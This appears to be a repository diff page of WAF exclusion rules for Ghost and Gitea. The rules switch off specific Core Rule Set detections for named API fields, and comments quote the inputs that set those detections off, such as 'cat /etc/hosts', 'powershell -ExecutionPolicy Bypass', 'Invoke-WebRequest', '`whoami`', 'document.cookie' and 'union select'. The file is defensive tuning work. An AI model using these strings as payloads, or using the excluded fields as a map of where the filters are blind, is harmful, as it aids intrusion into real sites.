ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:name|username|bio)$/"
# A member's email address skips 930120, 932120 and 932260, which refused
# erin.htaccess@example.com, dave.powershell@example.com and
# python3.dev@example.com. These fields hold it:
# members.<n>.email, when the admin adds or edits a member under
# /ghost/api/admin/members/
# email, when a member signs up or in at /members/api/
# An address holds no spaces, so it keeps 932250, which needs ls -la.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/members/" \
"id:900354,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.members\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.members\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.members\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.members\.\d+\.email$/"
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
"id:900360,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.email$/"
# A staff user's email address also skips 930120, 932120 and 932260, which
# refused erin.htaccess@example.com, dave.powershell@example.com and
# python3.dev@example.com. Each of these fields skips them only on its own path:
# username, signing in at /ghost/api/admin/session/
# setup.<n>.email, creating the first staff user
# password_reset.<n>.email, asking for a password reset
# users.<n>.email, saving a staff user's profile
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/session/" \
"id:900361,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.username$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.username$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.username$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.username$/"
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/setup/" \
"id:900362,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.setup\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.setup\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.setup\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.setup\.\d+\.email$/"
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/password_reset/" \
"id:900363,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.password_reset\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.password_reset\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.password_reset\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.password_reset\.\d+\.email$/"
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
"id:900364,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.users\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.users\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.users\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.users\.\d+\.email$/"
# The address of a staff invitation skips the same three rules. Each of these
# fields skips them only on its own path:
# invites.<n>.email, inviting a staff user at /ghost/api/admin/invites/
# email in the query, checking an invitation at
# /ghost/api/admin/authentication/invitation/
# invitation.<n>.email, accepting it at the same path
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/invites/" \
"id:900375,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.invites\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invites\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invites\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invites\.\d+\.email$/"
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
"id:900376,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:email,\
ctl:ruleRemoveTargetById=932120;ARGS:email,\
ctl:ruleRemoveTargetById=932260;ARGS:email"
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
"id:900377,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.invitation\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invitation\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invitation\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invitation\.\d+\.email$/"
# In ActivityPub, an account's handle and its address skip 930120 and 932120.
# They refused the handles @erin.htaccess@example.com and
# @powershell@example.com, and the addresses
# https://example.com/users/erin.htaccess and
# https://example.com/users/powershell. A handle starts with an @, so 932260
# does not refuse @python3.dev@example.com. The domain of the site's handle
# skips the same three rules as an email address, which refused
# erin.htaccess.example.com, powershell.example.com and python3.example.com.
# Each of these fields skips them only on its own path:
# sourceHandle, an account that moves here, added at
# /.ghost/activitypub/v1/aliases
# actorUri, that account's address, when the admin removes it there
# targetHandle, the account this one moves to, at
# /.ghost/activitypub/v1/migration
# domain, saved at /.ghost/activitypub/v1/domain and checked at
# /.ghost/activitypub/v1/domain/validate
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/aliases" \
"id:900379,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:sourcehandle|actoruri)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:sourcehandle|actoruri)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:sourcehandle|actoruri)$/"
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/migration" \
"id:900380,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.targethandle$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.targethandle$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.targethandle$/"
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/domain(?:/validate)?$" \
"id:900381,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.domain$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.domain$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.domain$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.domain$/"
# The articles skip these rules on the Admin API:
# 930120: ls -la /var/www/html/.htaccess in a code block
# 932120: powershell -ExecutionPolicy Bypass -File build.ps1
# 932125, 932230, 932235, 932250: cat /etc/hosts | grep example
# 932160: #!/usr/bin/env python3
# 932260: python3 -m venv .venv
# 932370: the same list in the html of a post saved through the API
# 932380: a code block whose second line starts with powershell
# 934100: document.querySelectorAll('a').forEach((a) => console.log(a.href))
# 941100, 941160: an HTML card with an iframe
# 941120: onclick= in an HTML card
# 941180: window.onload in a code block
# 941390: console.log(
# 942190: a code block with an SQL query
# These fields hold an article:
# posts.<n>.lexical and pages.<n>.lexical, which the editor saves, and the
# same fields mobiledoc, in Ghost's older format, and html, which
# integrations send
# snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
# reuse
# newsletters.<n>.footer_content, the footer of a newsletter
# A javascript: link (941170, 941210) is still refused in them. A <script>
# element (941110) passes only in posts and pages, by 900366.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900355,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=934100;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=941390;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/"
# Code injection, the HTML Ghost adds to the head and the foot of a page, and
# the site's settings, which hold the site-wide code injection besides the
# title and the description, skip the eight rules that 900353 lists and these:
# 921130, 941100, 941160: <meta name="google-site-verification" ...>
# 941270: <link rel="preconnect" href="https://fonts.example.com">
# 932235, one of the eight, refused the site's title "powershell & python3".
# These fields hold it, and skip the rules anywhere on the Admin API:
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
# settings.<n>.value, the value of a setting
# A javascript: link is still refused in them, and a <script> element passes
# by 900366.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900356,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=921130;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
# A <script> element skips 941110 in posts, pages and code injection, on the
# Admin API, which refused:
# an HTML card that embeds a widget with its script
# code injection that loads analytics,
# <script defer src="https://analytics.example.com/script.js"></script>
# These fields take a <script> element on purpose:
# posts.<n>.lexical, mobiledoc and html, and the same fields of pages
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
# settings.<n>.value, the value of a setting
# Snippets and a newsletter's footer still refuse it.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900366,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
# The canonical URL of a post or a page skips the two rules that url skips:
# 930120: https://example.com/blog/.htaccess/
# 932120: https://example.com/blog/powershell/
# Each of these fields skips them only on its own path:
# posts.<n>.canonical_url, under /ghost/api/admin/posts/
# pages.<n>.canonical_url, under /ghost/api/admin/pages/
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
"id:900383,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.posts\.\d+\.canonical_url$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.posts\.\d+\.canonical_url$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.posts\.\d+\.canonical_url$/"
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/pages/" \
"id:900384,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.pages\.\d+\.canonical_url$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.pages\.\d+\.canonical_url$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.pages\.\d+\.canonical_url$/"
# Saving a staff user's profile sends the field profile_image, whose name holds
# .profile, a file the list of system files names (930120).
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
"id:900357,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.users\.\d+\.profile_image$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
# A tag's code injection, tags.<n>.codeinjection_head and _foot under
# /ghost/api/admin/tags/, skips the rules that 900356 and 900366 switch off in
# the code injection of posts. A javascript: link is still refused in it.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
"id:900378,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=921130;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941110;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/"
# A tag's canonical URL, tags.<n>.canonical_url under /ghost/api/admin/tags/,
# skips the two rules that url skips:
# 930120: https://example.com/tag/.htaccess/
# 932120: https://example.com/tag/powershell/
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
"id:900382,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.tags\.\d+\.canonical_url$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.canonical_url$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.canonical_url$/"
# The passwords, which skip each rule that random passwords set off:
# password, signing in at /ghost/api/admin/session/
# setup.<n>.password, creating the first staff user
# invitation.<n>.password, accepting an invitation
# password_reset.<n>.newPassword and ne2Password, resetting a password
# password.<n>.oldPassword, newPassword and ne2Password, changing one at
# /ghost/api/admin/users/password/
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/(?:session|authentication/(?:setup|invitation|password_reset)|users/password)/$" \
"id:900358,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/"
SecMarker END_GHOST
File diff suppressed because it is too large. Load diff
+665
View File
@@ -0,0 +1,665 @@
# gitea's fixes: some fields skip the rules that refused ordinary gitea requests.
# They are the fields where gitea sends a search, a file's name or text, a
# commit message, a branch name or a repository's name. Each exclusion runs with
# the request, before the rules it switches off, those of phase 1 included, so
# this file is loaded before the Core Rule Set's rules. Each comment names a
# request the rule refused.
# Every rule below is skipped unless Inspect has set tx.app_gitea. It sets it
# while SWW_WAF_APPS is unset, or lists gitea or forgejo for the request's hostname.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_gitea itself.
SecRule &TX:app_gitea "@eq 0" \
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
# The query parameters in which gitea sends names within a repository or its
# own records, or a page of its own site, are not checked against the lists of
# system files, shell paths and command names, on any path:
# 930120: .gitignore
# 932160: bin/docker-entrypoint
# 932260: docker-build
# ARGS holds the fields of a form data or multipart body Coraza reads as well
# as the query parameters, so a field of these names is left out too.
SecAction "id:900591,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:path,\
ctl:ruleRemoveTargetById=930120;ARGS:files,\
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932160;ARGS:path,\
ctl:ruleRemoveTargetById=932160;ARGS:files,\
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932260;ARGS:path,\
ctl:ruleRemoveTargetById=932260;ARGS:files,\
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
# gitea's searches of code, of issues and pull requests, and of commits send the
# text searched for in q, which skips these rules there:
# 930110: ../
# 930120: .gitignore
# 931100: http://127.0.0.1:8080
# 932120: Invoke-WebRequest
# 932130: $(pwd)
# 932140: if (a == b) {
# 932160: /bin/sh
# 932235: `make check`
# 932250: ls -la
# 932260: python3
# 932380: `whoami`
# 933100: <?php echo
# 933130: $_GET[
# 933135: ${VAR}
# 934100: process.env
# 934110: http://127.0.0.1:8080
# 934130: __proto__
# 941100: <script>
# 941110: <script>
# 941160: <img src=
# 941180: document.cookie
# 941390: fetch(
# 942100: SELECT * FROM users WHERE
# 942140: information_schema
# 942190: union select
